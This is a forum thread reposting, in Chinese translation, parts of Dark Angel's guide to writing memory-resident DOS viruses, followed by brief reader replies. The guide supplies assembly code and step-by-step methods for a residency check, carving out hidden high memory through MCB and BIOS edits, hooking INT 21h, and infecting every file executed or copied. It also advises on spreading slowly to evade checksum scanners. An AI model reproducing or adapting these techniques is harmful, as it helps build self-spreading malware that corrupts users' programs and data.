  的話會把另一個的堆疊資料覆蓋掉,而引發無法預測的後果。不管哪個 DOS 中斷都
  會發生這種事,特別是 INT 21h,因為常常會在別的中斷裡想要去使用它。除非確
  定 DOS 中斷目前並沒有在執行,否則絕對不要在中斷函式裡使用 DOS 中斷。使用
  "較低" 的 INT 21h 呼叫可以不用怕會破壞堆疊,但是基本上它們都是沒有用處的
  ,可以簡單的靠 BIOS 呼叫或直接存取硬體來達成。這段討論主要是對截取非 DOS
  中斷來說的,當截取 DOS 中斷的時候則假設 DOS 現在並沒有在其他地方執行,否
  則它會毀了自己的堆疊,這將是最不幸的事件!
      很自然的,最常被攔截的中斷就是 INT 21h。幾乎每個 DOS 程式都會呼叫 INT
  21h。病毒最常用的方法就是攔截某些 DOS 呼叫以找出可以感染的檔案。最常攔截
  的呼叫包括 find first、find next、open 和 execute。只要靈巧的使用先執行或
  後執行鏈結,病毒可以輕易的找到已找到、開啟、或執行的檔案並感染之,只要用
  適當的方法分離所需的檔名即可。只要完成這道手續,其他部份就跟執行型病毒沒
  什麼兩樣了。
      當病毒從自己的中斷函式裡呼叫被攔截的中斷時,必須確定病毒不會再攔截這
  個特別的呼叫,以免造成一個無限迴路。例如說,病毒攔截了執行的呼叫,而為了
  某些理由病毒必須用這個呼叫執行某些檔案,不能儘儘只用 INT 21h 來完成這個工
  作。當這種情形無法避免的時候,必須要用 PUSH 和 CALL 的模擬中斷呼叫來完成
  工作。
      中斷處理函式的基本結構其實很簡單。首先先檢驗暫存器的值,看看是不是個
  檢驗呼叫 (檢驗是否常駐過) 或是我們要攔截的呼叫 (執行)。如果都不是,那就把
  控制權丟回給原來的中斷處理函式。如果是個檢驗呼叫,函式只要設定好暫存器的
  值再回到原呼叫程式裡即可。否則病毒就要決定是要用先執行或後執行鏈結,不管
  用哪種方法,病毒都要找出檔名並據此來感染檔案。檔名可以經由把暫存器當指標
  或搜尋特定的資料結構 (如 FCB) 來取得。感染的函式和非常駐病毒除了前幾節提
  到的例外外都是一樣的。
----------
  接下來呢
----------
      對於這份指南裡有些語意不明的句子我感到很抱歉,但是我是個程式寫作者,
  不是個作家。我唯一的建議就是把全部讀過直到你了解它為止。我決定以程式碼而
  非旋律來包裝這份指南。在下一份文件裡,我將列出所有寫作常駐病毒所需要的程
  式碼以及一些可能會用到的技巧。然而,所有寫隻常駐病毒所需的資訊都在這份文
  件裡了,只看你如何把它們組合起來而已。Have buckets o' fun!

TOP

- [10] TTL-病毒討論區 (89:100/1) ----------------------------------- TTL-VIRUS -
信件 : 35 of 35                            Uns Loc                             
發信人: Andy Kao                            89:100/1        Thu 01 Sep 94 19:52
收信人: All                                                                     
標  題: 病毒寫作教學(5)                                                         
--------------------------------------------------------------------------------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dark Angel 病毒寫作指南5:常駐型病毒⑵
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      在閱讀了這份叢集的指南之後,你應該對寫作常駐型病毒有點想法。然而,我某些
  不清楚的描述可能會讓你感到困擾。希望在這部分中能使你播雲見日。
~~~~
結構
~~~~
      假使你上次錯過了這個部分,這裏將提供你有關常駐型病毒的一些基本概念。這種
  病毒包含了兩大部分:載入機制以及攔截處理。載入機制提供了兩種功能。首先,它會
  將中斷向量轉至病毒本身;其次,它將病毒常駐。而攔截處理則含有會導致感染檔案的
  程式碼。廣義而言,處理機制會竄改第21號中斷並截斷某些可用於執行檔案的呼叫。
~~~~~~~~
載入機制
~~~~~~~~
      載入機制包含了兩大部分:常駐程序以及還原程序。後者所做的,就如同非常駐型
  病毒的一般,將控制權交回原始檔案。我會簡明地說明這點。
      至今你應該已經了解感染.COM檔的奧義。只要把開頭前幾位元組換掉,控制權便移
  轉到病毒上。還原.COM檔的秘訣僅僅只要將被覆蓋的那幾位元組還原即可。這個還原過
  程發生在記憶體中,所以並不是永久的。由於.COM檔只佔單一節區,且總是由此節區內
  偏移值 100h 處載入(因為要預留 PSP的空間),復原程序變的異常簡單。舉例而言,
  假如名為"first3"的緩衝區內存放的是受病毒感染前檔案的前三位元組,則以下的程式
  碼便會在記憶體中將原始碼還原:
    mov  di,100h          ; Absolute location of destination
    lea  si,[bp+first3]   ; Load address of saved bytes.
                          ; Assume bp = "delta offset"
    movsw                 ; Assume CS = DS = ES and a cleared direction flag
    movsb                 ; Move three bytes
      將控制權交還程式的問題仍然存在。亦即表示必須強迫程式將控制權移轉到偏移值
   100h 的處。最簡單的解法就像:
    mov  di,100h
    jmp  di
      這個程序有多種變化可以做到,但它們都達到將IP設為 100h 的基本要求。
      現在,你應該也瞭解了感染.EXE檔的奧義。最簡易的手法就是替換.EXE檔檔頭的某
  些固定的位元組。還原的秘訣就在於恢復所有病毒做過的修改。程式如下:
    mov     ax, es                          ; ES = segment of PSP
    add     ax, 10h                         ; Loading starts after PSP
    add     word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
                                            ; relative to end of PSP
    cli
    add     ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
    mov     ss, ax
    mov     sp, word ptr cs:[bp+OrigSSSP]
    sti
    db      0eah                            ; JMP FAR PTR SEG:OFF
  OrigCSIP  dd ?                            ; Put values from the header
  OrigSSSP  dd ?                            ; into here
      假如你想用.COM檔做為一個只會感染.EXE檔的病毒之載體,你只要輕鬆地將OrigCSIP
  設為 FFF0:0000就好啦!這將會被還原程序還原成 PSP:0000 ,就是通常放第20號中斷
  之處。
      這些內容應該都不是新東西。現在我們要跨出通往新領域的步伐。達到常駐的方法
  有兩種。第一種方法就是利用 DOS呼叫完成任務的「幼雉方法」。這方法實在幼雉,因
  為⑴它很容易被先佔式的病毒監測程式欺騙,且⑵它會中斷程式的執行,因而使使用者
  警覺到病毒的存在。我將不浪費任何程式碼在此法上,因為正如其名,它是給小孩子用
  的方法。真正的病毒作者會自己寫常駐程序。最基本的便是「竄改 MCB」法。通則是:
  ①  簡查是否已常駐。若已經常駐,則跳出病毒。
  ②  找到記憶體頂端。
  ③  配置高記憶體。
  ④  複製病毒至高記憶體。
  ⑤  置換中斷向量。
      這個技巧有許多不同的風貌,在有需要時會一一討論。
~~~~~~~~
安裝查核
~~~~~~~~
      安裝查核有評多不同的類別。最常見的就是呼叫第21號中斷,並在AX暫存器中放入
  特定的值。假若由某特定暫存器傳回某特定值,那表示此病毒已經常駐過了。舉例而言
  ,一個確認常駐的範例如下:
    mov  ax,9999h  ; residency check
    int  21h
    cmp  bx,9999h  ; returns bx=9999h if installed
    jz   already_installed
      當你為了安裝查核,而要選放入AX的值時,記得不要衝到既有的呼叫,除非原本就
  是無害的。比如說,不要使用秀字串在螢幕上的呼叫(ah=9),除非你希望在它第一次常
  駐時發生不可預期的結果!而無害的呼叫,就像是取得 DOS版本(ah=30h)或是更新鍵盤
  緩衝區(ah=0bh)的呼叫。當然,假若這個檢查與現有的功能衝到,那你必須非常小心的
  確認沒有程式會對它感冒。舉例而言,不要只誘捕ah=30h,而是要誘捕ax=3030h或是將
  ax=3030h以及bx=3030h同時誘導。
      另一種檢查是否已常駐的方法就是去找尋病毒中的某些特徵。比如說,假若某病毒
  總是將某未使用的中斷呼叫指向它本身,一個檢查的方法便是去找尋此特徵所使用的中
  斷向量。如下:
    xor  ax,ax
    mov  ds,ax     ; ds->interrupt table
    les  bx,ds:[60h*4] ; get address of interrupt 60h
                   ; assume the virus traps this and puts its int 21h handler
                   ; here
    cmp  es:bx,0FF2Eh ; search for the virus string
     .
     .
     .
  int60:
    jmp far ptr csrigint21
      當你使用此法時,請小心確認此特徵不會在病毒常駐時失效。在上例中,其它程式
  就不能攔截 60h,否則查核會失效。甚至當病毒已載入記憶體時,會產生不可預期的後
  果。
~~~~~~~~~~~~~~~~
尋找記憶體的頂端
~~~~~~~~~~~~~~~~
      DOS 通常配置所有的記憶體給被載入的程式。利用這個知識,病毒可以很容易的得
  到可使用的記憶體大小。重覆一次,MCB 的結構是:
  Offset    Size Meaning
  ------ ------- -------
  0         BYTE 'M' or 'Z'
  1         WORD Process ID (PSP of block's owner)
  3         WORD Size in paragraphs
  5      3 BYTES Reserved (Unused)
  8      8 BYTES DOS 4+ uses this.  Yay.
    mov  ax,ds     ; Assume DS initially equals the segment of the PSP
    dec  ax
    mov  ds,ax     ; DS = MCB of infected program
    mov  bx,ds:[3] ; Get MCB size (total available paragraphs to program)
      一個有同樣效果卻更簡單的方法是按照下列方式使用DOS 的重配置記憶體呼叫:
    mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
    mov  bx,0FFFFh ; Request a ridiculous amount of memory
    int  21h       ; Returns maximum available memory in BX
                   ; This is the same value as in ds:[3]
~~~~~~~~~~~~
配置高記憶體
~~~~~~~~~~~~
      配置記憶體最簡單的方法是透過DOS 完成你的工作:
    mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
    sub  bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
                   ; memory available to the program (returned by earlier
                   ; call to int 21h/function 4ah
    int  21h
    mov  ah,48h    ; Allocate memory
    mov  bx,(endvirus-startvirus+15)/16
    int  21h
    mov  es,ax     ; es now holds the high memory segment
    dec  bx
    mov  byte ptr ds:[0], 'Z' ; probably not needed
    mov  word ptr ds:[1], 8   ; Mark DOS as owner of MCB
      將MCB 的擁有者設為DOS 的目的是為了防止當載體程式結束時,記憶區段會被釋放
  的後果。
      當然,有人喜愛直接修改MCBs的值。這是很容易做到的。假設DS的值和載體程式MCB
  的節位址相同,下面的程式提供了這種技巧:
    ; Step 1) Shrink the carrier program's memory allocation
    ; One paragraph is added for the MCB of the memory area which the virus
    ; will inhabit
    sub  ds:[3],(endvirus-startvirus+15)/16 + 1
    ; Step 2) Mark the carrier program's MCB as the last in the chain
    ; This isn't really necessary, but it assures that the virus will not
    ; corrupt the memory chains
    mov  byte ptr ds:[0],'Z'
    ; Step 3) Alter the program's top of memory field in the PSP
    ; This preserves compatibility with COMMAND.COM and any other program
    ; which uses the field to determine the top of memory
    sub  word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1
    ; Step 4) Calculate the first usable segment
    mov  bx,ds:[3] ; Get MCB size
    stc            ; Add one for the MCB segment
    adc  bx,ax     ; Assume AX still equals the MCB of the carrier file
                   ; BX now holds first usable segment.  Build the MCB
                   ; there
    ; Alternatively, you can use the value in ds:[12h] as the first usable
    ; segment:
    ; mov  bx,ds:[12h]
    ; Step 5) Build the MCB
    mov  ds,bx     ; ds holds the area to build the MCB
    inc  bx        ; es now holds the segment of the memory area controlled
    mov  es,bx     ; by the MCB
    mov  byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
                   ; Note: you can have more than one MCB chain
    mov  word ptr ds:[1],8   ; Mark DOS as the owner
    mov  word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field
      下面則又是另一種直接修改MCB 的方法。
    ; Step 1) Shrink the carrier program's memory allocation
    ; Note that rounding is to the nearest 1024 bytes and there is no
    ; addition for an MCB
    sub  ds:[3],((endvirus-startvirus+1023)/1024)*64
    ; Step 2) Mark the carrier program's MCB as the last in the chain
    mov  byte ptr ds:[1],'Z'
    ; Step 3) Alter the program's top of memory field in the PSP
    sub  word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64
    ; Step 4) Calculate the first usable segment
    mov  es,word ptr ds:[12h]
    ; Step 5) Shrink the total memory as held in BIOS
    ; Memory location 0:413h holds the total system memory in K
    xor  ax,ax
    mov  ds,ax
    sub  ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size
      後者比前者強大,因為它比前者簡單且短小。新的MCB 不需被建立,因為DOS 將不
  再配置被病毒佔據的記憶體。修改記載在BIOS資料區有關記憶體大小的記錄可以保證這
  個情形。
~~~~~~~~~~~~~~~~~~
複製病毒至高記憶體
~~~~~~~~~~~~~~~~~~
      這真是件十分可笑的容易事。只要將ES對準高記憶體節區,DS對準CS,BP對準偏移
  值,下面的程式碼便可以達到目的:
    lea  si,[bp+offset startvirus]
    xor  di,di     ; destination @ 0
    mov  cx,(endvirus-startvirus)/2
    rep  movsw     ; Copy away, use words for speed
~~~~~~~~~~~~
置換中斷向量
~~~~~~~~~~~~
      再度,有兩個方式可以使用:透過DOS 或直接置換。每個有心的程式設計者都曾和
  中斷向量奮鬥過。若透過DOS :
    push es        ; es->high memory
    pop  ds        ; ds->high memory
    mov  ax,3521h  ; get old int 21h handler
    int  21h       ; to es:bx
    mov  word ptr dsldint21,bx  ; save it
    mov  word ptr dsldint21+2,es
    mov  dx,offset int21 ; ds:dx->new int 21h handler in virus
    mov  ax,2521h  ; set handler
    int  21h
  而若直接修改:
    xor  ax,ax
    mov  ds,ax
    lds  bx,ds:[21h*4]
    mov  word ptr es:oldint21,bx
    mov  word ptr es:oldint21+2,ds
    mov  ds,ax
    mov  ds:[21h*4],offset int21
    mov  ds:[21h*4+2],es
  由於變數的位置已經知道,位移值差距的計算並不十分重要。這是因為病毒總是載入至
  高記憶體偏移值0的地方。
~~~~~~~~
攔截處理
~~~~~~~~
      攔截處理機制是用於截斷DOS 的呼叫並轉接至病毒。傳統上,攔截處理是由一個檢
  查安裝查核呼叫的步驟開始。舉例來說:
  int21:
    cmp  ax,9999h  ; installation check?
    jnz  not_installation_check
    xchg ax,bx     ; return bx = 9999h if installed
    iret           ; exit interrupt handler
  not_installation_check:
  ; rest of interrupt handler goes here
  在不妨礙的情形下,病毒可以竄改任何它想攔截的DOS 呼叫。通常最有竄改價值的呼叫
  是檔案執行(ax=4b00h),如此一來,每個被執行的檔案都會被感染。另一個可以竄改的
  呼叫是代碼關閉(雖然這要花較多的工夫)。這種感染就會發生在拷貝、觀看、補綴上
  。在某些呼叫上,前置鏈結較好;反之,則用後置鏈結。就當做基本常識吧!假如被攔
  截的呼叫將會破壞檔案或指位器,那麼使用前置鏈結。若是呼叫必須在感染前完成,那
  就使用後置鏈結。(譯注:前置鏈結表示該呼叫在感染行為前串接,反之亦然)
  前置鏈結很簡單:
    pushf           ; simulate an int 21h call
    call dword ptr cs:oldint21
  ; The following code ensures that the flags will be properly set upon
  ; return to the caller
    pushf
    push bp
    push ax
  ; flags         [bp+10]
  ; calling CS:IP [bp+6]
  ; flags new     [bp+4]
  ; bp            [bp+2]
  ; ax            [bp]
    mov  bp, sp     ; setup stack frame
    mov  ax, [bp+4] ; get new flags
    mov  [bp+10], ax; replace the old with the new
    pop  ax         ; restore stack
    pop  bp
    popf
  在鏈結完成,離開攔截處理時,使用 iret 較 retn 或 retf 為佳。後置鏈結更簡單:
    jmp  dword ptr cs:oldint21 ; this never returns to the virus int handler
  當離開攔截處理時,請確認堆疊的完整及暫存器的原值。務必在前置鏈結之後及後置鏈
  結前保存下暫存器的內值。
  常駐式病毒的感染動作基本上和非常駐病毒是相同的。唯一的不同處是在當攔截處理竄
  改感染程序中某個會用到的呼叫之時。比如說,若是要竄改代碼關閉呼叫,那麼感染程
  序就要用一個指向原 int21h 處理器的程序把代碼關閉的呼叫換掉。就像:
    pushf
    call dword ptr cs:oldint21
  對常駐病毒而言,當處理編碼過程時,這也是必須的。在非常駐病毒中,病毒碼在整個
  過程中是沒有必要保存下來的。然而,就算是在感染發生時,保持解碼完的攔截處理程
  式是值得做的。因此,病毒要在記憶體中留下兩份拷貝:一份就是程式而另一份視做資
  料。編碼器就將後者編碼而保持攔截處理在程式中。這是相當重要的,尤其是當病毒還
  會竄改其它中斷,如 int09h 或 int13h 時。
~~~~~~~~~~~~~~~~~~
常駐病毒的一項理論
~~~~~~~~~~~~~~~~~~
      常駐病毒在傳統上可分為兩類:慢速傳染型及快速傳染型。這兩類各有其利弊得失。
      慢速傳染型是除了檔案建立外都不感染的。這類病毒修改建檔程序,並在檔案關閉
  時感染檔案。感染將發生在新檔的建立及檔案的拷貝上。這種病毒的一個缺點就是它散
  佈的太慢了。然而,這個缺點也正是優點所在,它將可以保持長時間的不可偵測。雖然
  感覺上此類病毒較無效率,不過事實上它們表現的不錯!在建檔時傳染,同時表示,那
  些所謂的 Checksum/CRC 式防毒程式無法在感染之前對此檔案進行 Checksum/CRC 處理
  。除此之外,檔案通常多由一個目錄拷貝至另一個不同的目錄。故此類病毒可行。
      快速傳染型在執行檔案時傳染。這類病毒通常立即攻擊常用程式,以確保下次開機
  後仍能存在於記憶體中。這是它們的主要優點,卻也是最大的缺點。因為這類病毒傳染
  的十快速,使用者很容易會發現系統的不尋常;尤其是在病毒未使用任何隱形技巧之
  時。
      當然,沒人敢說那一種是較佳的。這是個人喜好的問題。雖然慢速傳染型病毒正在
  急速增加,現今大多數病毒仍是快速感染型。
      當病毒欲在建檔或拷貝時感染,它必須把檔名複製到緩衝區內,執行呼叫,並保存
  代碼。當收到此代碼的關檔指示時,就利用剛保存的檔名去感染檔案。這是不用追入DOS
  內部,僅是在關閉代碼後感染的一個最簡單的方法。
~~~~~~~~~~~~~~
若你還是不懂?
~~~~~~~~~~~~~~
      別絕望,只要你多練習,你自然會懂。你將很快會發現,其實常駐式病毒比非常駐
  式病毒好寫。這就是我想要說的;同時,也請你注意我下一次的教授。

TOP

超正,但我冇心機睇晒...推推推

TOP

報名上呢d堂超貴...之前勁有興趣
見到呢篇,,,突然之間覺得好彩冇報-.-v

TOP

這裏怎麽會有這帖????????????????????????????
我虛弱所以我強大

TOP

唔係幾明講依d野= =

TOP

多謝分享.又上左一課..anti virus
CLAN RG - 閉關篇

TOP

發新話題